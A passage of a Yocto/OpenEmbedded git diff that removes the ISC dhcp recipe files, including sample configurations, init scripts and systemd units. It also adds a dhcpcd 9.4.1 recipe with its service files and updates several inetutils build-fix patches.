- file://0013-fixup_use_libbind.patch \
- file://0001-master-Added-includes-of-new-BIND9-compatibility-hea.patch \
- file://0001-Fix-a-NSUPDATE-compiling-issue.patch \
-"
-
-SRC_URI[md5sum] = "18c7f4dcbb0a63df25098216d47b1ede"
-SRC_URI[sha256sum] = "2a22508922ab367b4af4664a0472dc220cc9603482cf3c16d9aff14f3a76b608"
-
-LDFLAGS_append = " -pthread"
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[bind-httpstats] = "--with-libxml2,--without-libxml2,libxml2"
diff --git a/meta/recipes-connectivity/dhcp/files/default-relay b/meta/recipes-connectivity/dhcp/files/default-relay
deleted file mode 100644
index 7961f014be..0000000000
--- a/meta/recipes-connectivity/dhcp/files/default-relay
+++ /dev/null
@@ -1,12 +0,0 @@
-# Defaults for dhcp-relay initscript
-# sourced by /etc/init.d/dhcp-relay
-
-# What servers should the DHCP relay forward requests to?
-# e.g: SERVERS="192.168.0.1"
-SERVERS=""
-
-# On what interfaces should the DHCP relay (dhrelay) serve DHCP requests?
-INTERFACES=""
-
-# Additional options that are passed to the DHCP relay daemon?
-OPTIONS=""
diff --git a/meta/recipes-connectivity/dhcp/files/default-server b/meta/recipes-connectivity/dhcp/files/default-server
deleted file mode 100644
index 0385d16992..0000000000
--- a/meta/recipes-connectivity/dhcp/files/default-server
+++ /dev/null
@@ -1,7 +0,0 @@
-# Defaults for dhcp initscript
-# sourced by /etc/init.d/dhcp-server
-# installed at /etc/default/dhcp-server by the maintainer scripts
-
-# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
-# Separate multiple interfaces with spaces, e.g. "eth0 eth1".
-INTERFACES=""
diff --git a/meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper b/meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper
deleted file mode 100644
index 7d0e224a1d..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/sh
-
-# In case the interface is used for nfs, skip it.
-nfsroot=0
-interfaces=""
-exec 9<&0 < /proc/mounts
-while read dev mtpt fstype rest; do
- if test $mtpt = "/" ; then
- case $fstype in
- nfs | nfs4)
- nfsroot=1
- nfs_addr=`echo $rest | sed -e 's/^.*addr=\([0-9.]*\).*$/\1/'`
- break
- ;;
- *)
- ;;
- esac
- fi
-done
-exec 0<&9 9<&-
-
-if [ $nfsroot -eq 0 ]; then
- interfaces="$INTERFACES"
-else
- if [ -x /bin/ip -o -x /sbin/ip ] ; then
- nfs_iface=`ip route get $nfs_addr | grep dev | sed -e 's/^.*dev \([-a-z0-9.]*\).*$/\1/'`
- fi
- for i in $INTERFACES; do
- if test "x$i" = "x$nfs_iface"; then
- echo "dhclient skipping nfsroot interface $i"
- else
- interfaces="$interfaces $i"
- fi
- done
-fi
-
-if test "x$interfaces" != "x"; then
- /sbin/dhclient -d -cf /etc/dhcp/dhclient.conf -q -lf /var/lib/dhcp/dhclient.leases $interfaces
-fi
diff --git a/meta/recipes-connectivity/dhcp/files/dhclient.conf b/meta/recipes-connectivity/dhcp/files/dhclient.conf
deleted file mode 100644
index 0e6dcf96c2..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhclient.conf
+++ /dev/null
@@ -1,50 +0,0 @@
-# Configuration file for /sbin/dhclient, which is included in Debian's
-# dhcp3-client package.
-#
-# This is a sample configuration file for dhclient. See dhclient.conf's
-# man page for more information about the syntax of this file
-# and a more comprehensive list of the parameters understood by
-# dhclient.
-#
-# Normally, if the DHCP server provides reasonable information and does
-# not leave anything out (like the domain name, for example), then
-# few changes must be made to this file, if any.
-#
-
-#send host-name "andare.fugue.com";
-#send dhcp-client-identifier 1:0:a0:24:ab:fb:9c;
-#send dhcp-lease-time 3600;
-#supersede domain-name "fugue.com home.vix.com";
-#prepend domain-name-servers 127.0.0.1;
-request subnet-mask, broadcast-address, time-offset, routers,
- domain-name, domain-name-servers, host-name,
- netbios-name-servers, netbios-scope;
-#require subnet-mask, domain-name-servers;
-#timeout 60;
-#retry 60;
-#reboot 10;
-#select-timeout 5;
-#initial-interval 2;
-#script "/etc/dhcp3/dhclient-script";
-#media "-link0 -link1 -link2", "link0 link1";
-#reject 192.33.137.209;
-
-#alias {
-# interface "eth0";
-# fixed-address 192.5.5.213;
-# option subnet-mask 255.255.255.255;
-#}
-
-#lease {
-# interface "eth0";
-# fixed-address 192.33.137.200;
-# medium "link0 link1";
-# option host-name "andare.swiftmedia.com";
-# option subnet-mask 255.255.255.0;
-# option broadcast-address 192.33.137.255;
-# option routers 192.33.137.250;
-# option domain-name-servers 127.0.0.1;
-# renew 2 2000/1/12 00:00:01;
-# rebind 2 2000/1/12 00:00:01;
-# expire 2 2000/1/12 00:00:01;
-#}
diff --git a/meta/recipes-connectivity/dhcp/files/dhclient.service b/meta/recipes-connectivity/dhcp/files/dhclient.service
deleted file mode 100644
index 9ddb4d1dfe..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhclient.service
+++ /dev/null
@@ -1,13 +0,0 @@
-[Unit]
-Description=Dynamic Host Configuration Protocol (DHCP)
-Wants=network.target
-Before=network.target
-After=systemd-udevd.service
-
-[Service]
-EnvironmentFile=-@SYSCONFDIR@/default/dhcp-client
-ExecStart=@BASE_SBINDIR@/dhclient-systemd-wrapper
-RemainAfterExit=yes
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/dhcpd.conf b/meta/recipes-connectivity/dhcp/files/dhcpd.conf
deleted file mode 100644
index 0001c0f00e..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcpd.conf
+++ /dev/null
@@ -1,108 +0,0 @@
-#
-# Sample configuration file for ISC dhcpd for Debian
-#
-# $Id: dhcpd.conf,v 1.1.1.1 2002/05/21 00:07:44 peloy Exp $
-#
-
-# The ddns-updates-style parameter controls whether or not the server will
-# attempt to do a DNS update when a lease is confirmed. We default to the
-# behavior of the version 2 packages ('none', since DHCP v2 didn't
-# have support for DDNS.)
-ddns-update-style none;
-
-# option definitions common to all supported networks...
-option domain-name "example.org";
-option domain-name-servers ns1.example.org, ns2.example.org;
-
-default-lease-time 600;
-max-lease-time 7200;
-
-# If this DHCP server is the official DHCP server for the local
-# network, the authoritative directive should be uncommented.
-#authoritative;
-
-# Use this to send dhcp log messages to a different log file (you also
-# have to hack syslog.conf to complete the redirection).
-log-facility local7;
-
-# No service will be given on this subnet, but declaring it helps the
-# DHCP server to understand the network topology.
-
-#subnet 10.152.187.0 netmask 255.255.255.0 {
-#}
-
-# This is a very basic subnet declaration.
-
-#subnet 10.254.239.0 netmask 255.255.255.224 {
-# range 10.254.239.10 10.254.239.20;
-# option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;
-#}
-
-# This declaration allows BOOTP clients to get dynamic addresses,
-# which we don't really recommend.
-
-#subnet 10.254.239.32 netmask 255.255.255.224 {
-# range dynamic-bootp 10.254.239.40 10.254.239.60;
-# option broadcast-address 10.254.239.31;
-# option routers rtr-239-32-1.example.org;
-#}
-
-# A slightly different configuration for an internal subnet.
-#subnet 10.5.5.0 netmask 255.255.255.224 {
-# range 10.5.5.26 10.5.5.30;
-# option domain-name-servers ns1.internal.example.org;
-# option domain-name "internal.example.org";
-# option routers 10.5.5.1;
-# option broadcast-address 10.5.5.31;
-# default-lease-time 600;
-# max-lease-time 7200;
-#}
-
-# Hosts which require special configuration options can be listed in
-# host statements. If no address is specified, the address will be
-# allocated dynamically (if possible), but the host-specific information
-# will still come from the host declaration.
-
-#host passacaglia {
-# hardware ethernet 0:0:c0:5d:bd:95;
-# filename "vmunix.passacaglia";
-# server-name "toccata.fugue.com";
-#}
-
-# Fixed IP addresses can also be specified for hosts. These addresses
-# should not also be listed as being available for dynamic assignment.
-# Hosts for which fixed IP addresses have been specified can boot using
-# BOOTP or DHCP. Hosts for which no fixed address is specified can only
-# be booted with DHCP, unless there is an address range on the subnet
-# to which a BOOTP client is connected which has the dynamic-bootp flag
-# set.
-#host fantasia {
-# hardware ethernet 08:00:07:26:c0:a5;
-# fixed-address fantasia.fugue.com;
-#}
-
-# You can declare a class of clients and then do address allocation
-# based on that. The example below shows a case where all clients
-# in a certain class get addresses on the 10.17.224/24 subnet, and all
-# other clients get addresses on the 10.0.29/24 subnet.
-
-#class "foo" {
-# match if substring (option vendor-class-identifier, 0, 4) = "SUNW";
-#}
-
-#shared-network 224-29 {
-# subnet 10.17.224.0 netmask 255.255.255.0 {
-# option routers rtr-224.example.org;
-# }
-# subnet 10.0.29.0 netmask 255.255.255.0 {
-# option routers rtr-29.example.org;
-# }
-# pool {
-# allow members of "foo";
-# range 10.17.224.10 10.17.224.250;
-# }
-# pool {
-# deny members of "foo";
-# range 10.0.29.10 10.0.29.230;
-# }
-#}
diff --git a/meta/recipes-connectivity/dhcp/files/dhcpd.service b/meta/recipes-connectivity/dhcp/files/dhcpd.service
deleted file mode 100644
index ae4f93eca5..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcpd.service
+++ /dev/null
@@ -1,15 +0,0 @@
-[Unit]
-Description=DHCPv4 Server Daemon
-Documentation=man:dhcpd(8) man:dhcpd.conf(5)
-After=network.target
-After=time-sync.target
-
-[Service]
-PIDFile=@localstatedir@/run/dhcpd.pid
-EnvironmentFile=@SYSCONFDIR@/default/dhcp-server
-EnvironmentFile=-@SYSCONFDIR@/sysconfig/dhcp-server
-ExecStartPre=@base_bindir@/touch @localstatedir@/lib/dhcp/dhcpd.leases
-ExecStart=@SBINDIR@/dhcpd -f -cf @SYSCONFDIR@/dhcp/dhcpd.conf -pf @localstatedir@/run/dhcpd.pid $DHCPDARGS -q $INTERFACES
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/dhcpd6.service b/meta/recipes-connectivity/dhcp/files/dhcpd6.service
deleted file mode 100644
index 52a6224dc2..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcpd6.service
+++ /dev/null
@@ -1,15 +0,0 @@
-[Unit]
-Description=DHCPv6 Server Daemon
-Documentation=man:dhcpd(8) man:dhcpd.conf(5)
-After=network.target
-After=time-sync.target
-
-[Service]
-PIDFile=@localstatedir@/run/dhcpd6.pid
-EnvironmentFile=@SYSCONFDIR@/default/dhcp-server
-EnvironmentFile=-@SYSCONFDIR@/sysconfig/dhcpd6
-ExecStartPre=@base_bindir@/touch @localstatedir@/lib/dhcp/dhcpd6.leases
-ExecStart=@SBINDIR@/dhcpd -f -6 -cf @SYSCONFDIR@/dhcp/dhcpd6.conf -pf @localstatedir@/run/dhcpd6.pid $DHCPDARGS -q $INTERFACES
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/dhcrelay.service b/meta/recipes-connectivity/dhcp/files/dhcrelay.service
deleted file mode 100644
index 15ff927d34..0000000000
--- a/meta/recipes-connectivity/dhcp/files/dhcrelay.service
+++ /dev/null
@@ -1,10 +0,0 @@
-[Unit]
-Description=DHCP Relay Agent Daemon
-After=network.target
-
-[Service]
-EnvironmentFile=@SYSCONFDIR@/default/dhcp-relay
-ExecStart=@SBINDIR@/dhcrelay -d --no-pid -q $SERVERS
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcp/files/init-relay b/meta/recipes-connectivity/dhcp/files/init-relay
deleted file mode 100644
index 019a7e84cf..0000000000
--- a/meta/recipes-connectivity/dhcp/files/init-relay
+++ /dev/null
@@ -1,44 +0,0 @@
-#!/bin/sh
-#
-# $Id: dhcp3-relay,v 1.1 2004/04/16 15:41:08 ml Exp $
-#
-
-# It is not safe to start if we don't have a default configuration...
-if [ ! -f /etc/default/dhcp-relay ]; then
- echo "/etc/default/dhcp-relay does not exist! - Aborting..."
- echo "create this file to fix the problem."
- exit 1
-fi
-
-# Read init script configuration (interfaces the daemon should listen on
-# and the DHCP server we should forward requests to.)
-. /etc/default/dhcp-relay
-
-# Build command line for interfaces (will be passed to dhrelay below.)
-IFCMD=""
-if test "$INTERFACES" != ""; then
- for I in $INTERFACES; do
- IFCMD=${IFCMD}"-i "${I}" "
- done
-fi
-
-DHCRELAYPID=/var/run/dhcrelay.pid
-
-case "$1" in
- start)
- start-stop-daemon -S -x /usr/sbin/dhcrelay -- -q $OPTIONS $IFCMD $SERVERS
- ;;
- stop)
- start-stop-daemon -K -x /usr/sbin/dhcrelay
- ;;
- restart | force-reload)
- $0 stop
- sleep 2
- $0 start
- ;;
- *)
- echo "Usage: /etc/init.d/dhcp-relay {start|stop|restart|force-reload}"
- exit 1
-esac
-
-exit 0
diff --git a/meta/recipes-connectivity/dhcp/files/init-server b/meta/recipes-connectivity/dhcp/files/init-server
deleted file mode 100644
index 5e693adf78..0000000000
--- a/meta/recipes-connectivity/dhcp/files/init-server
+++ /dev/null
@@ -1,44 +0,0 @@
-#!/bin/sh
-#
-# $Id: dhcp3-server.init.d,v 1.4 2003/07/13 19:12:41 mdz Exp $
-#
-
-test -f /usr/sbin/dhcpd || exit 0
-
-# It is not safe to start if we don't have a default configuration...
-if [ ! -f /etc/default/dhcp-server ]; then
- echo "/etc/default/dhcp-server does not exist! - Aborting..."
- exit 0
-fi
-
-# Read init script configuration (so far only interfaces the daemon
-# should listen on.)
-. /etc/default/dhcp-server
-
-case "$1" in
- start)
- echo -n "Starting DHCP server: "
- test -d /var/lib/dhcp/ || mkdir -p /var/lib/dhcp/
- test -f /var/lib/dhcp/dhcpd.leases || touch /var/lib/dhcp/dhcpd.leases
- start-stop-daemon -S -x /usr/sbin/dhcpd -- -q $INTERFACES -user dhcp -group dhcp
- echo "."
- ;;
- stop)
- echo -n "Stopping DHCP server: dhcpd3"
- start-stop-daemon -K -x /usr/sbin/dhcpd
- echo "."
- ;;
- restart | force-reload)
- $0 stop
- sleep 2
- $0 start
- if [ "$?" != "0" ]; then
- exit 1
- fi
- ;;
- *)
- echo "Usage: /etc/init.d/dhcp-server {start|stop|restart|force-reload}"
- exit 1
-esac
-
-exit 0
diff --git a/meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb b/meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb
new file mode 100644
index 0000000000..ab6ffe986c
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb
@@ -0,0 +1,60 @@
+SECTION = "console/network"
+SUMMARY = "dhcpcd - a DHCP client"
+DESCRIPTION = "dhcpcd runs on your machine and silently configures your \
+ computer to work on the attached networks without trouble \
+ and mostly without configuration."
+
+HOMEPAGE = "http://roy.marples.name/projects/dhcpcd/"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d148485768fe85b9f1072b186a7e9b4d"
+
+UPSTREAM_CHECK_URI = "https://roy.marples.name/downloads/dhcpcd/"
+
+SRC_URI = "https://roy.marples.name/downloads/${BPN}/${BPN}-${PV}.tar.xz \
+ file://0001-remove-INCLUDEDIR-to-prevent-build-issues.patch \
+ file://dhcpcd.service \
+ file://dhcpcd@.service \
+ "
+
+SRC_URI[sha256sum] = "819357634efed1ea5cf44ec01b24d3d3f8852fec8b4249925dcc5667c54e376c"
+
+inherit pkgconfig autotools-brokensep systemd useradd
+
+SYSTEMD_SERVICE:${PN} = "dhcpcd.service"
+
+PACKAGECONFIG ?= "udev ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+
+PACKAGECONFIG[udev] = "--with-udev,--without-udev,udev,udev"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
+# ntp conflicts with chrony
+PACKAGECONFIG[ntp] = "--with-hook=ntp, , ,ntp"
+PACKAGECONFIG[chrony] = "--with-hook=ntp, , ,chrony"
+PACKAGECONFIG[ypbind] = "--with-eghook=yp, , ,ypbind-mt"
+
+# add option to override DBDIR location
+DBDIR ?= "${localstatedir}/lib/${BPN}"
+
+EXTRA_OECONF = "--enable-ipv4 \
+ --dbdir=${DBDIR} \
+ --sbindir=${base_sbindir} \
+ --runstatedir=/run \
+ --enable-privsep \
+ --privsepuser=dhcpcd \
+ --with-hooks \
+ --with-eghooks \
+ "
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system -d ${DBDIR} -M -s /bin/false -U dhcpcd"
+
+do_install:append () {
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dhcpcd*.service ${D}${systemd_system_unitdir}
+
+ chmod 700 ${D}${DBDIR}
+ chown dhcpcd:dhcpcd ${D}${DBDIR}
+}
+
+FILES:${PN}-dbg += "${libdir}/dhcpcd/dev/.debug"
diff --git a/meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch b/meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch
new file mode 100644
index 0000000000..37d2344438
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch
@@ -0,0 +1,45 @@
+From aa9e3982c1e75ad49945a62f5e262279c7a905a4 Mon Sep 17 00:00:00 2001
+From: Stefano Cappa <stefano.cappa.ks89@gmail.com>
+Date: Sun, 13 Jan 2019 01:50:52 +0100
+Subject: [PATCH] remove INCLUDEDIR to prevent build issues
+
+Upstream-Status: Pending
+
+Signed-off-by: Stefano Cappa <stefano.cappa.ks89@gmail.com>
+---
+ configure | 5 -----
+ 1 file changed, 5 deletions(-)
+
+diff --git a/configure b/configure
+index 6c81e0db..32dea2b4 100755
+--- a/configure
++++ b/configure
+@@ -20,7 +20,6 @@ BUILD=
+ HOST=
+ HOSTCC=
+ TARGET=
+-INCLUDEDIR=
+ DEBUG=
+ FORK=
+ STATIC=
+@@ -72,7 +71,6 @@ for x do
+ --mandir) MANDIR=$var;;
+ --datadir) DATADIR=$var;;
+ --with-ccopts|CFLAGS) CFLAGS=$var;;
+- -I|--includedir) INCLUDEDIR="$INCLUDEDIR${INCLUDEDIR:+ }-I$var";;
+ CC) CC=$var;;
+ CPPFLAGS) CPPFLAGS=$var;;
+ PKG_CONFIG) PKG_CONFIG=$var;;
+@@ -309,9 +307,6 @@ if [ -n "$CPPFLAGS" ]; then
+ echo "CPPFLAGS=" >>$CONFIG_MK
+ echo "CPPFLAGS+= $CPPFLAGS" >>$CONFIG_MK
+ fi
+-if [ -n "$INCLUDEDIR" ]; then
+- echo "CPPFLAGS+= $INCLUDEDIR" >>$CONFIG_MK
+-fi
+ if [ -n "$LDFLAGS" ]; then
+ echo "LDFLAGS=" >>$CONFIG_MK
+ echo "LDFLAGS+= $LDFLAGS" >>$CONFIG_MK
+--
+2.17.2 (Apple Git-113)
+
diff --git a/meta/recipes-connectivity/dhcpcd/files/dhcpcd.service b/meta/recipes-connectivity/dhcpcd/files/dhcpcd.service
new file mode 100644
index 0000000000..6c967ddaf0
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/dhcpcd.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=A minimalistic network configuration daemon with DHCPv4, rdisc and DHCPv6 support
+Wants=network.target
+Before=network.target
+Conflicts=connman.service
+
+[Service]
+ExecStart=/sbin/dhcpcd -q --nobackground
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service b/meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service
new file mode 100644
index 0000000000..845b83b9e5
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service
@@ -0,0 +1,16 @@
+[Unit]
+Description=dhcpcd on %I
+Wants=network.target
+Before=network.target
+BindsTo=sys-subsystem-net-devices-%i.device
+After=sys-subsystem-net-devices-%i.device
+Conflicts=connman.service
+
+[Service]
+Type=forking
+PIDFile=/run/dhcpcd/%I.pid
+ExecStart=/sbin/dhcpcd -q %I
+ExecStop=/sbin/dhcpcd -x %I
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch b/meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch
new file mode 100644
index 0000000000..49d319f59d
--- /dev/null
+++ b/meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch
@@ -0,0 +1,58 @@
+From 7d39930468e272c740b0eed3c7e5b7fb3abf29e8 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 5 Aug 2020 10:36:22 -0700
+Subject: [PATCH] ftpd,telnetd: Fix multiple definitions of errcatch and not42
+
+This helps fix build failures when -fno-common option is used
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ftpd/extern.h | 2 +-
+ ftpd/ftpcmd.c | 1 +
+ telnetd/utility.c | 2 +-
+ 3 files changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/ftpd/extern.h b/ftpd/extern.h
+index ab33cf3..91dbbee 100644
+--- a/ftpd/extern.h
++++ b/ftpd/extern.h
+@@ -90,7 +90,7 @@ extern void user (const char *);
+ extern char *sgetsave (const char *);
+
+ /* Exported from ftpd.c. */
+-jmp_buf errcatch;
++extern jmp_buf errcatch;
+ extern struct sockaddr_storage data_dest;
+ extern socklen_t data_dest_len;
+ extern struct sockaddr_storage his_addr;
+diff --git a/ftpd/ftpcmd.c b/ftpd/ftpcmd.c
+index beb1f06..d272e9d 100644
+--- a/ftpd/ftpcmd.c
++++ b/ftpd/ftpcmd.c
+@@ -106,6 +106,7 @@
+ #endif
+
+ off_t restart_point;
++jmp_buf errcatch;
+
+ static char cbuf[512]; /* Command Buffer. */
+ static char *fromname;
+diff --git a/telnetd/utility.c b/telnetd/utility.c
+index e7ffb8e..46bf91e 100644
+--- a/telnetd/utility.c
++++ b/telnetd/utility.c
+@@ -63,7 +63,7 @@ static int ncc;
+ static char ptyibuf[BUFSIZ], *ptyip;
+ static int pcc;
+
+-int not42;
++extern int not42;
+
+ static int
+ readstream (int p, char *ibuf, int bufsize)
+--
+2.28.0
+
diff --git a/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch b/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch
deleted file mode 100644
index d4764f5867..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-Upstream-Status: Pending
-
-Subject: rcp: fix to work with large files
-
-When we copy file by rcp command, if the file > 2GB, it will fail.
-The cause is that it used incorrect data type on file size in sink() of rcp.
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/rcp.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/rcp.c b/src/rcp.c
-index 21f55b6..bafa35f 100644
---- a/src/rcp.c
-+++ b/src/rcp.c
-@@ -876,9 +876,9 @@ sink (int argc, char *argv[])
- enum
- { YES, NO, DISPLAYED } wrerr;
- BUF *bp;
-- off_t i, j;
-+ off_t i, j, size;
- int amt, count, exists, first, mask, mode, ofd, omode;
-- int setimes, size, targisdir, wrerrno;
-+ int setimes, targisdir, wrerrno;
- char ch, *cp, *np, *targ, *vect[1], buf[BUFSIZ];
- const char *why;
-
---
-1.9.1
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch b/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
index 24c134fcac..603d2baf9d 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
@@ -1,17 +1,22 @@
-Upstream: http://www.mail-archive.com/bug-inetutils@gnu.org/msg02103.html
+From c7c27ba763c613f83c1561e56448b49315c271c5 Mon Sep 17 00:00:00 2001
+From: Jackie Huang <jackie.huang@windriver.com>
+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] Upstream:
+ http://www.mail-archive.com/bug-inetutils@gnu.org/msg02103.html
Upstream-Status: Pending
Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
+
---
ping/ping_common.h | 20 ++++++++++++++++++++
1 file changed, 20 insertions(+)
diff --git a/ping/ping_common.h b/ping/ping_common.h
-index 1dfd1b5..3bfbd12 100644
+index 65e3e60..3e84db0 100644
--- a/ping/ping_common.h
+++ b/ping/ping_common.h
-@@ -17,10 +17,14 @@
+@@ -18,10 +18,14 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see `http://www.gnu.org/licenses/'. */
@@ -26,7 +31,7 @@ index 1dfd1b5..3bfbd12 100644
#include <icmp.h>
#include <error.h>
#include <progname.h>
-@@ -62,7 +66,12 @@ struct ping_stat
+@@ -63,7 +67,12 @@ struct ping_stat
want to follow the traditional behaviour of ping. */
#define DEFAULT_PING_COUNT 0
@@ -39,9 +44,9 @@ index 1dfd1b5..3bfbd12 100644
#define PING_TIMING(s) ((s) >= sizeof (struct timeval))
#define PING_DATALEN (64 - PING_HEADER_LEN) /* default data length */
-@@ -74,13 +83,20 @@ struct ping_stat
- (t).tv_usec = ((i)%PING_PRECISION)*(1000000/PING_PRECISION) ;\
- } while (0)
+@@ -78,13 +87,20 @@ struct ping_stat
+
+ #define PING_MIN_USER_INTERVAL (200000/PING_PRECISION)
+#ifdef HAVE_IPV6
/* FIXME: Adjust IPv6 case for options and their consumption. */
@@ -60,7 +65,7 @@ index 1dfd1b5..3bfbd12 100644
typedef int (*ping_efp) (int code,
void *closure,
-@@ -89,13 +105,17 @@ typedef int (*ping_efp) (int code,
+@@ -93,13 +109,17 @@ typedef int (*ping_efp) (int code,
struct ip * ip, icmphdr_t * icmp, int datalen);
union event {
@@ -78,6 +83,3 @@ index 1dfd1b5..3bfbd12 100644
};
typedef struct ping_data PING;
---
-2.8.3
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
index 3da4e9f55a..2974bd4f94 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
@@ -1,20 +1,21 @@
-From 552a7d64ad4a7188a9b7cd89933ae7caf7ebfe90 Mon Sep 17 00:00:00 2001
+From f7f785c21306010b2367572250b2822df5bc7728 Mon Sep 17 00:00:00 2001
From: Mike Frysinger <vapier at gentoo.org>
Date: Thu, 18 Nov 2010 16:59:14 -0500
-Subject: [PATCH gnulib] printf-parse: pull in features.h for __GLIBC__
+Subject: [PATCH] printf-parse: pull in features.h for __GLIBC__
Upstream-Status: Pending
Signed-off-by: Mike Frysinger <vapier at gentoo.org>
+
---
- lib/printf-parse.h | 3 +++
- 1 files changed, 3 insertions(+), 0 deletions(-)
+ lib/printf-parse.h | 3 +++
+ 1 file changed, 3 insertions(+)
diff --git a/lib/printf-parse.h b/lib/printf-parse.h
-index 67a4a2a..3bd6152 100644
+index e7d0f82..d7b4534 100644
--- a/lib/printf-parse.h
+++ b/lib/printf-parse.h
-@@ -25,6 +25,9 @@
+@@ -28,6 +28,9 @@
#include "printf-args.h"
@@ -24,6 +25,3 @@ index 67a4a2a..3bd6152 100644
/* Flags */
#define FLAG_GROUP 1 /* ' flag */
---
-1.7.3.2
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
index b13bb9229f..1ef7e21073 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
@@ -1,8 +1,19 @@
+From 9089c6eafbf5903174dce87b68476e35db80beb9 Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] inetutils: Import version 1.9.4
+
Upstream-Status: Pending
---- inetutils-1.8/lib/wchar.in.h
-+++ inetutils-1.8/lib/wchar.in.h
-@@ -70,6 +70,9 @@
+---
+ lib/wchar.in.h | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/lib/wchar.in.h b/lib/wchar.in.h
+index cdda680..043866a 100644
+--- a/lib/wchar.in.h
++++ b/lib/wchar.in.h
+@@ -77,6 +77,9 @@
/* The include_next requires a split double-inclusion guard. */
#if @HAVE_WCHAR_H@
# @INCLUDE_NEXT@ @NEXT_WCHAR_H@
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
index 2592989a90..460ddf9830 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
@@ -1,4 +1,10 @@
-inetutils: define PATH_PROCNET_DEV if not already defined
+From 101130f422dd5c01a1459645d7b2a5b8d19720ab Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
